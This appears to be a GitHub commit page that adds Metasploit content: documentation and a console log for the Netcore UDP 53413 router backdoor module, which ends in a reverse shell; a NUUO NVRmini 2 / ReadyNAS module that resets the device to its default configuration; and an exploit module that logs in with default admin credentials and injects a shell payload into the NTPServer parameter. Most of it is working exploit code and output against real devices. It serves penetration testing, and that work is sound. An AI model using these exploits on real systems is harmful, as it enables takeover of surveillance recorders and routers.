Skip to content

Commit a848d39

Browse files
Yorick KosterYorick Koster
authored andcommitted
Merge remote-tracking branch 'rapid7/master'
2 parents 9750c43 + de16a6d commit a848d39

File tree

5 files changed

+629
-0
lines changed

5 files changed

+629
-0
lines changed
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
### Vulnerable Devices
2+
Trend Micro lists "almost all" models as being vulnerable in August 2014.
3+
4+
Vulnerable AND Exploitable:
5+
6+
1. Netcore NI360 second-generation
7+
8+
Vulnerable, but not Exploitable via this module (details later):
9+
10+
1. Netis WF2414 firmware V1.4.27001
11+
12+
### Lab Emulation
13+
1. Install qemu
14+
2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt)
15+
3. Starts the mipsel lab
16+
1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413`
17+
4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it.
18+
1. `scp -P22222 vuln_squashfs-root.tar.gz [email protected]:/root`
19+
2. `tar xvf vuln_squashfs-root.tar.gz`
20+
5. Run vuln programs.
21+
1. `cd nw614 && chroot . /bin/igdmptd`
22+
23+
## Verification Steps
24+
25+
1. Install the emulator/hardware
26+
2. Start msfconsole
27+
3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor`
28+
4. Do: `set RHOST <ip>`
29+
5. Do: `check`
30+
6. Do: `exploit`
31+
7. You should get a shell.
32+
33+
## Exploitability
34+
35+
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit.
36+
During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted.
37+
In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell.
38+
39+
## Scenarios
40+
41+
The following is an example of a vulnerable AND EXPLOITABLE router.
42+
43+
```
44+
use exploits/linux/misc/netcore_udp_53413_backdoor
45+
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
46+
RHOST => 192.168.1.1
47+
msf exploit(netcore_udp_53413_backdoor) > check
48+
[+] The target is vulnerable.
49+
msf exploit(netcore_udp_53413_backdoor) > run
50+
51+
[*] Started reverse TCP handler on 192.168.1.2:4444
52+
[*] Exploiting...
53+
[*] Command Stager progress - 12.54% done (196/1563 bytes)
54+
[*] Command Stager progress - 25.08% done (392/1563 bytes)
55+
[*] Command Stager progress - 37.62% done (588/1563 bytes)
56+
[*] Command Stager progress - 50.16% done (784/1563 bytes)
57+
[*] Command Stager progress - 62.70% done (980/1563 bytes)
58+
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
59+
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
60+
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
61+
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
62+
63+
pwd
64+
/
65+
ls
66+
bin
67+
cfg
68+
dev
69+
etc
70+
lib
71+
linuxrc
72+
log
73+
proc
74+
sbin
75+
sh
76+
sys
77+
tmp
78+
usr
79+
var
80+
web
81+
```
82+
83+
The following is an example of a vulnerable but NOT expoitable router.
84+
85+
```
86+
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
87+
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
88+
rhost => 192.168.1.1
89+
msf exploit(netcore_udp_53413_backdoor) > check
90+
91+
[+] Backdoor Unlocked
92+
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
93+
[*] The target service is running, but could not be validated.
94+
```
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
16+
'Description' => %q{
17+
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
18+
to an administrator password reset on the exposed web management interface.
19+
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
20+
(before v1.7.6), otherwise you need an administrative user password.
21+
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
22+
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
23+
in those devices.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['CVE', '2016-5676'],
33+
['US-CERT-VU', '856152'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
35+
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
36+
],
37+
'DefaultTarget' => 0,
38+
'DisclosureDate' => 'Aug 4 2016'))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8081),
43+
OptString.new('TARGETURI', [true, "Application path", '/']),
44+
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
45+
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
46+
], self.class)
47+
end
48+
49+
50+
def run
51+
res = send_request_cgi({
52+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
53+
'vars_get' => { 'cmd' => "loaddefconfig" }
54+
})
55+
56+
if res && res.code == 401
57+
res = send_request_cgi({
58+
'method' => 'POST',
59+
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
60+
'vars_post' => {
61+
'user' => datastore['USERNAME'],
62+
'pass' => datastore['PASSWORD'],
63+
'submit' => "Login"
64+
}
65+
})
66+
if res && (res.code == 200 || res.code == 302)
67+
cookie = res.get_cookies
68+
else
69+
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
70+
end
71+
res = send_request_cgi({
72+
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
73+
'cookie' => cookie,
74+
'vars_get' => { 'cmd' => "loaddefconfig" }
75+
})
76+
end
77+
78+
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
79+
print_good("#{peer} - Device has been reset to the default configuration.")
80+
else
81+
print_error("#{peer} - Failed to reset device.")
82+
end
83+
end
84+
end
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',
16+
'Description' => %q{
17+
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable
18+
to an authenticated remote code execution on the exposed web administration interface. An administrative
19+
account is needed to exploit this vulnerability.
20+
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.
21+
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.
22+
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
23+
in those devices.
24+
},
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['CVE', '2016-5675'],
33+
['US-CERT-VU', '856152'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],
35+
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']
36+
],
37+
'DefaultOptions' => { 'WfsDelay' => 5 },
38+
'Platform' => 'unix',
39+
'Arch' => ARCH_CMD,
40+
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas
41+
'Targets' =>
42+
[
43+
[ 'Automatic', { } ],
44+
[ 'NUUO NVRmini 2', {
45+
'Payload' =>
46+
{
47+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
48+
'DisableNops' => true,
49+
'Compat' =>
50+
{
51+
'PayloadType' => 'cmd',
52+
'RequiredCmd' => 'netcat generic perl'
53+
}
54+
},
55+
}],
56+
[ 'ReadyNAS NETGEAR Surveillance', {
57+
'Payload' =>
58+
{
59+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
60+
'DisableNops' => true,
61+
'Compat' =>
62+
{
63+
'PayloadType' => 'cmd',
64+
'RequiredCmd' => 'netcat generic perl'
65+
}
66+
},
67+
}],
68+
[ 'NUUO Crystal', {
69+
'Payload' =>
70+
{
71+
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value
72+
'DisableNops' => true,
73+
'Compat' =>
74+
{
75+
'PayloadType' => 'cmd',
76+
'RequiredCmd' => 'bash'
77+
}
78+
},
79+
}],
80+
],
81+
'DefaultTarget' => 0,
82+
'DisclosureDate' => 'Aug 4 2016'))
83+
84+
register_options(
85+
[
86+
Opt::RPORT(8081),
87+
OptString.new('TARGETURI', [true, "Application path", '/']),
88+
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
89+
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
90+
], self.class)
91+
end
92+
93+
94+
def id_target
95+
return target if target.name != 'Automatic'
96+
res = send_request_cgi({
97+
'uri' => normalize_uri(datastore['TARGETURI'])
98+
})
99+
if res && res.code == 200
100+
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/
101+
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")
102+
return targets[2]
103+
elsif res.body.to_s =~ /v_web_login_login_type/
104+
print_status("#{peer} - Identified NUUO Crystal as the target.")
105+
return targets[3]
106+
else
107+
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")
108+
return targets[1]
109+
end
110+
end
111+
end
112+
113+
114+
def exploit
115+
res = send_request_cgi({
116+
'method' => 'POST',
117+
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
118+
'vars_post' => {
119+
'user' => datastore['USERNAME'],
120+
'pass' => datastore['PASSWORD'],
121+
'submit' => "Login"
122+
}
123+
})
124+
125+
if res && (res.code == 200 || res.code == 302)
126+
cookie = res.get_cookies
127+
else
128+
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
129+
end
130+
131+
my_target = id_target
132+
if my_target == targets[1]
133+
if payload.raw.include?("perl")
134+
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")
135+
end
136+
print_status("#{peer} - Executing payload...")
137+
send_request_cgi({
138+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
139+
'cookie' => cookie,
140+
'vars_get' => {
141+
'act' => "update",
142+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded
143+
}
144+
}, 1)
145+
elsif my_target == targets[2]
146+
if payload.raw.include?("netcat")
147+
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")
148+
end
149+
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
150+
# it up.
151+
print_status("#{peer} - Executing payload...")
152+
send_request_cgi({
153+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
154+
'cookie' => cookie,
155+
'vars_get' => {
156+
'act' => "update",
157+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")
158+
}
159+
}, 1)
160+
else
161+
if not payload.raw.include?("exec")
162+
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")
163+
end
164+
print_status("#{peer} - Executing payload...")
165+
send_request_cgi({
166+
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),
167+
'cookie' => cookie,
168+
'vars_get' => {
169+
'act' => "update",
170+
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw
171+
}
172+
}, 1)
173+
end
174+
handler
175+
end
176+
end

0 commit comments

Comments
 (0)